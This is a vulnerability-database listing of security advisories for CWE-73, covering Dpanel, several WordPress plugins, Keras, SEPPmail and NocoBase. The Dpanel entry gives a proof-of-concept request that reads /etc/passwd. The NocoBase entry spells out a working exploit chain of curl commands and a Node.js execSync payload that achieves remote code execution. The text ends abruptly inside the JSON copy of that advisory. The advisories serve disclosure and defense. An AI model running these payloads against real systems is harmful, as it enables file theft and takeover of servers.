Common Weakness Enumeration

CWE-73

Allowed

External Control of File Name or Path

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product allows user input to control or influence paths or file names that are used in filesystem operations.

1087 vulnerabilities reference this CWE, most recent first.

GHSA-GCQF-PXGG-GW8Q

Vulnerability from github – Published: 2025-08-22 16:49 – Updated: 2025-08-29 20:34
VLAI
Summary
Dpanel has an arbitrary file read vulnerability
Details

Summary

Dpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files.

Details

When a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling. image-20250702004157585 image-20250702004223184

PoC

POST /api/app/compose/get-from-uri HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJ......lWg==
Connection: close
Content-Type: application/json
Content-Length: 21

{"uri":"/etc/passwd"}

Impact

This vulnerability could lead to the leakage of sensitive server file information. In versions from 1.2.0 up to the latest (1.7.2), logged-in users can make requests to this interface.

Severity
4.8 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/donknap/dpanel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "last_affected": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-22T16:49:05Z",
    "nvd_published_at": "2025-08-22T16:15:44Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nDpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files.\n\n### Details\nWhen a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling.\n![image-20250702004157585](https://github.com/user-attachments/assets/1f0e683b-bf0b-49e6-8d68-833fcf3f214d)\n![image-20250702004223184](https://github.com/user-attachments/assets/b5e89e02-f572-4edf-aaa8-566dea090d3f)\n\n### PoC\n```text\nPOST /api/app/compose/get-from-uri HTTP/1.1\nHost: x.x.x.x\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nAuthorization: Bearer eyJ......lWg==\nConnection: close\nContent-Type: application/json\nContent-Length: 21\n\n{\"uri\":\"/etc/passwd\"}\n```\n\n### Impact\nThis vulnerability could lead to the leakage of sensitive server file information. In versions from 1.2.0 up to the latest (1.7.2), logged-in users can make requests to this interface.",
  "id": "GHSA-gcqf-pxgg-gw8q",
  "modified": "2025-08-29T20:34:31Z",
  "published": "2025-08-22T16:49:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/donknap/dpanel/security/advisories/GHSA-gcqf-pxgg-gw8q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53363"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/donknap/dpanel"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3909"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dpanel has an arbitrary file read vulnerability"
}

GHSA-GCXW-MC4C-R5H7

Vulnerability from github – Published: 2026-05-27 12:31 – Updated: 2026-05-27 12:31
VLAI
Details

The Xpro Elementor Addons - Pro plugin for WordPress is vulnerable to Arbitrary File Reading in all versions up to, and including, 1.4.7 via the Draw SVG widget. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-0898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T11:16:16Z",
    "severity": "MODERATE"
  },
  "details": "The Xpro Elementor Addons - Pro plugin for WordPress is vulnerable to Arbitrary File Reading in all versions up to, and including, 1.4.7 via the Draw SVG widget. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
  "id": "GHSA-gcxw-mc4c-r5h7",
  "modified": "2026-05-27T12:31:21Z",
  "published": "2026-05-27T12:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0898"
    },
    {
      "type": "WEB",
      "url": "https://elementor.wpxpro.com"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1f87298b-8dae-4201-8f3b-477eaab3663d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFMX-QQQH-F38Q

Vulnerability from github – Published: 2026-02-12 00:31 – Updated: 2026-02-18 22:38
VLAI
Summary
Duplicate Advisory: Keras vulnerable to arbitrary file read in the model loading mechanism (HDF5 integration)
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-3m4q-jmj6-r34q. This link is maintained to preserve external references.

Original Description

Arbitrary file read in the model loading mechanism (HDF5 integration) in Keras versions 3.0.0 through 3.13.1 on all supported platforms allows a remote attacker to read local files and disclose sensitive information via a crafted .keras model file utilizing HDF5 external dataset references.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keras"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "last_affected": "3.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-12T22:09:52Z",
    "nvd_published_at": "2026-02-11T23:16:03Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-3m4q-jmj6-r34q. This link is maintained to preserve external references.\n\n## Original Description\nArbitrary file read in the model loading mechanism (HDF5 integration) in Keras versions 3.0.0 through 3.13.1 on all supported platforms allows a remote attacker to read local files and disclose sensitive information via a crafted .keras model file utilizing HDF5 external dataset references.",
  "id": "GHSA-gfmx-qqqh-f38q",
  "modified": "2026-02-18T22:38:48Z",
  "published": "2026-02-12T00:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/security-research/security/advisories"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keras-team/keras"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Keras vulnerable to arbitrary file read in the model loading mechanism (HDF5 integration)",
  "withdrawn": "2026-02-18T22:38:48Z"
}

GHSA-GG9V-56PH-3GR7

Vulnerability from github – Published: 2026-04-22 09:31 – Updated: 2026-04-22 09:31
VLAI
Details

The HTTP Headers plugin for WordPress is vulnerable to External Control of File Name or Path leading to Remote Code Execution in all versions up to and including 1.19.2. This is due to insufficient validation of the file path stored in the 'hh_htpasswd_path' option and lack of sanitization on the 'hh_www_authenticate_user' option value. The plugin allows administrators to set an arbitrary file path for the htpasswd file location and does not validate that the path has a safe file extension (e.g., restricting to .htpasswd). Additionally, the username field used for HTTP Basic Authentication is written directly into the file without sanitization. The apache_auth_credentials() function constructs the file content using the unsanitized username via sprintf('%s:{SHA}%s', $user, ...), and update_auth_credentials() writes this content to the attacker-controlled path via file_put_contents(). This makes it possible for authenticated attackers, with Administrator-level access and above, to write arbitrary content (including PHP code) to arbitrary file paths on the server, effectively achieving Remote Code Execution.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T09:16:24Z",
    "severity": "HIGH"
  },
  "details": "The HTTP Headers plugin for WordPress is vulnerable to External Control of File Name or Path leading to Remote Code Execution in all versions up to and including 1.19.2. This is due to insufficient validation of the file path stored in the \u0027hh_htpasswd_path\u0027 option and lack of sanitization on the \u0027hh_www_authenticate_user\u0027 option value. The plugin allows administrators to set an arbitrary file path for the htpasswd file location and does not validate that the path has a safe file extension (e.g., restricting to .htpasswd). Additionally, the username field used for HTTP Basic Authentication is written directly into the file without sanitization. The apache_auth_credentials() function constructs the file content using the unsanitized username via sprintf(\u0027%s:{SHA}%s\u0027, $user, ...), and update_auth_credentials() writes this content to the attacker-controlled path via file_put_contents(). This makes it possible for authenticated attackers, with Administrator-level access and above, to write arbitrary content (including PHP code) to arbitrary file paths on the server, effectively achieving Remote Code Execution.",
  "id": "GHSA-gg9v-56ph-3gr7",
  "modified": "2026-04-22T09:31:33Z",
  "published": "2026-04-22T09:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4132"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L1296"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L1298"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L1403"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L671"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L722"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L97"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L1296"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L1298"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L1403"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L671"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L722"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L97"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ce010c6f-16bd-4178-a621-31ba6378946a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GH4W-5VRF-HHCG

Vulnerability from github – Published: 2026-05-08 15:31 – Updated: 2026-05-18 18:31
VLAI
Details

SEPPmail Secure Email Gateway before version 15.0.4 contains an unauthenticated path traversal vulnerability in the identifier parameter of /api.app/attachment/preview that allows remote attackers to read arbitrary local files and trigger deletion of files in the targeted directory with the privileges of the api.app process.

Severity
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-44127"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-08T14:16:45Z",
    "severity": "HIGH"
  },
  "details": "SEPPmail Secure Email Gateway before version 15.0.4 contains an unauthenticated path traversal vulnerability in the identifier parameter of /api.app/attachment/preview that allows remote attackers to read arbitrary local files and trigger deletion of files in the targeted directory with the privileges of the api.app process.",
  "id": "GHSA-gh4w-5vrf-hhcg",
  "modified": "2026-05-18T18:31:24Z",
  "published": "2026-05-08T15:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44127"
    },
    {
      "type": "WEB",
      "url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#security"
    },
    {
      "type": "WEB",
      "url": "https://labs.infoguard.ch/posts/seppmail_secure_e-mail_gateway_rce_vulnerabilities_cve-2026-2743_cve-2026-7864_cve-2026-44127_cve-2026-44128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GHVF-QF6H-G8X5

Vulnerability from github – Published: 2026-08-20 18:42 – Updated: 2026-08-20 18:42
VLAI
Summary
NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution
Details

Executive Summary

Two vulnerabilities were identified and chained to achieve authenticated remote code execution

The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized documentRoot value to the storages:update API. The second vulnerability allows the same admin to trigger Node.js require() on any absolute filesystem path via the pm:enable plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).

Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.

A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.

VULN 1: Arbitrary File Write via storages:update documentRoot Manipulation

Summary

The file-manager plugin's storage update endpoint accepts an arbitrary documentRoot value without validation. An authenticated admin can overwrite a storage record's documentRoot to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths.

Vulnerable Components

packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts | getDocumentRoot() L24–27 | packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts | createMiddleware() Server route: POST /api/storages:update Server route: POST /api/attachments:upload

Root Cause

getDocumentRoot() resolves the documentRoot field from the storage record:

// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts
const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } =
  this.storage.options || {};

return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));

resolveSafePath() is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) documentRoot as its safe root. There is no validation on the documentRoot value itself at creation or update time. An admin can set documentRoot to any path (/, /etc, /var/www/html, the app root) and the upload will write there.

The creation endpoint (storages:create) also accepts arbitrary documentRoot, but the update endpoint is worse: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.

Steps to Reproduce

Prerequisites: Admin session token.

Step 1 Get the local storage ID:

curl -s "http://192.168.228.130:13000/api/storages" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"

Storage ID on this target: 366584416632832

Step 2 Create the RCE payload:

cat > /tmp/rce_proof.js << 'EOF'
const { execSync } = require('child_process');
const fs = require('fs');
const out = execSync('id; whoami; hostname').toString();
fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out);
module.exports = {};
EOF

Step 3 Redirect storage documentRoot to app CWD:

curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
  -H "Content-Type: application/json" \
  -d '{"options":{"documentRoot":"."},"default":true}'

image

Step 4 upload the RCE payload:

The payload writes output to the NocoBase uploads directory, which is served statically on port 13000

curl -s -X POST "http://192.168.228.130:13000/api/attachments:upload" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
  -F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript"

image

Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below

VULN 2: Error-Based Local File Inclusion via pm:enable Unsanitized requireModule() Call

Overview

pm:enable passes filterByTk directly to require() with no path validation. This is a standalone LFI primitive with two modes:

  • Non-JS files (e.g. /etc/passwd): Node.js parses them as JavaScript, fails with a SyntaxError that embeds the file content in the error message. That error is written to system_error_YYYY-MM-DD.log and is downloadable via logger:download giving an attacker blind/error-based file read.
  • JS files (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01.

Root Cause

The enable action takes filterByTk from query params and passes it directly to the CLI runner with zero validation:

// packages/core/server/src/plugin-manager/options/resource.ts  L141-151
async enable(ctx, next) {
  const { filterByTk } = ctx.action.params;   // ← raw user input
  if (!filterByTk) {
    ctx.throw(400, 'plugin name invalid');
  }
  const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];
  app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' });  // ← no sanitization
  ctx.body = filterByTk;
  await next();
},

The CLI handler calls requireModule(key):

// packages/core/utils/src/requireModule.ts
export function requireModule(m: any) {
  if (typeof m === 'string') {
    m = require(m);   // ← arbitrary file executed as Node.js module
  }
  if (typeof m !== 'object') { return m; }
  return m.__esModule ? m.default : m;
}

assertSafePluginPackageName() exists in the codebase (validates against absolute paths and ..) but is never invoked in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → require().

Steps to Reproduce Error-Based File Read (Standalone)

Step 1 Trigger require() on any file:

curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd" \
  -H "Authorization: Bearer TOKEN"
# Response: {"data":"/etc/passwd"} — 200 OK

Node.js attempts to parse /etc/passwd as a JavaScript module. It fails at the first : character with:

image

and we see the error message after sending the request:

image

Step 2 navigate to the logger and download the system error log

image

now when we extract the .tar file we can see proof of local file inclusion (partial in this response):

image

Remote code execution

With our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it 

curl -s "http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"

Retrieve output via NocoBase static file serving

image

image

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-434",
      "CWE-73",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:42:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Executive Summary\n\nTwo vulnerabilities were identified and chained to achieve authenticated remote code execution\n\nThe first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk  including the application directory itself  by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).\n\nChained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.\n\nA working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.\n\n\n## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation\n\n### Summary\n\nThe file-manager plugin\u0027s storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record\u0027s `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write  including the web root, the application source directory, or system paths.\n\n### Vulnerable Components\n\n`packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24\u201327 |\n`packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` \nServer route: `POST /api/storages:update` \nServer route: `POST /api/attachments:upload` \n\n### Root Cause\n\n`getDocumentRoot()` resolves the `documentRoot` field from the storage record:\n\n```javascript\n// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts\nconst { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), \u0027storage\u0027, \u0027uploads\u0027) } =\n  this.storage.options || {};\n\nreturn path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));\n```\n\n`resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there.\n\nThe creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.\n\n### Steps to Reproduce\n\n**Prerequisites:** Admin session token.\n\n\n**Step 1  Get the local storage ID:**\n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/storages\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nStorage ID on this target: `366584416632832`\n\n\n**Step 2  Create the RCE payload:**\n\n```bash\ncat \u003e /tmp/rce_proof.js \u003c\u003c \u0027EOF\u0027\nconst { execSync } = require(\u0027child_process\u0027);\nconst fs = require(\u0027fs\u0027);\nconst out = execSync(\u0027id; whoami; hostname\u0027).toString();\nfs.writeFileSync(\u0027/home/spooky/nocobase/storage/uploads/out.txt\u0027, out);\nmodule.exports = {};\nEOF\n\n```\n**Step 3  Redirect storage documentRoot to app CWD:**\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"options\":{\"documentRoot\":\".\"},\"default\":true}\u0027\n```\n\u003cimg width=\"826\" height=\"304\" alt=\"image\" src=\"https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66\" /\u003e\n\n**Step 4  upload the RCE payload:**\n\nThe payload writes output to the NocoBase uploads directory, which is served statically on port 13000\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/attachments:upload\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -F \"file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript\"\n```\n\n\u003cimg width=\"826\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72\" /\u003e\n\n\n**Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below**\n\n## VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call\n\n### Overview\n`pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes:\n\n- **Non-JS files** (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read.\n- **JS files** (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process  RCE. This is the second stage of the chain with VULN-01.\n\n### Root Cause\n\nThe `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation:\n\n```typescript\n// packages/core/server/src/plugin-manager/options/resource.ts  L141-151\nasync enable(ctx, next) {\n  const { filterByTk } = ctx.action.params;   // \u2190 raw user input\n  if (!filterByTk) {\n    ctx.throw(400, \u0027plugin name invalid\u0027);\n  }\n  const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];\n  app.runAsCLI([\u0027pm\u0027, \u0027enable\u0027, ...keys], { from: \u0027user\u0027 });  // \u2190 no sanitization\n  ctx.body = filterByTk;\n  await next();\n},\n```\n\nThe CLI handler calls `requireModule(key)`:\n\n```typescript\n// packages/core/utils/src/requireModule.ts\nexport function requireModule(m: any) {\n  if (typeof m === \u0027string\u0027) {\n    m = require(m);   // \u2190 arbitrary file executed as Node.js module\n  }\n  if (typeof m !== \u0027object\u0027) { return m; }\n  return m.__esModule ? m.default : m;\n}\n```\n\n`assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is **never invoked** in the HTTP action path \u2014 only in storage directory helpers. The HTTP handler goes straight from user input \u2192 `require()`.\n\n### Steps to Reproduce Error-Based File Read (Standalone)\n\n**Step 1  Trigger require() on any file:**\n\n```bash\ncurl -s 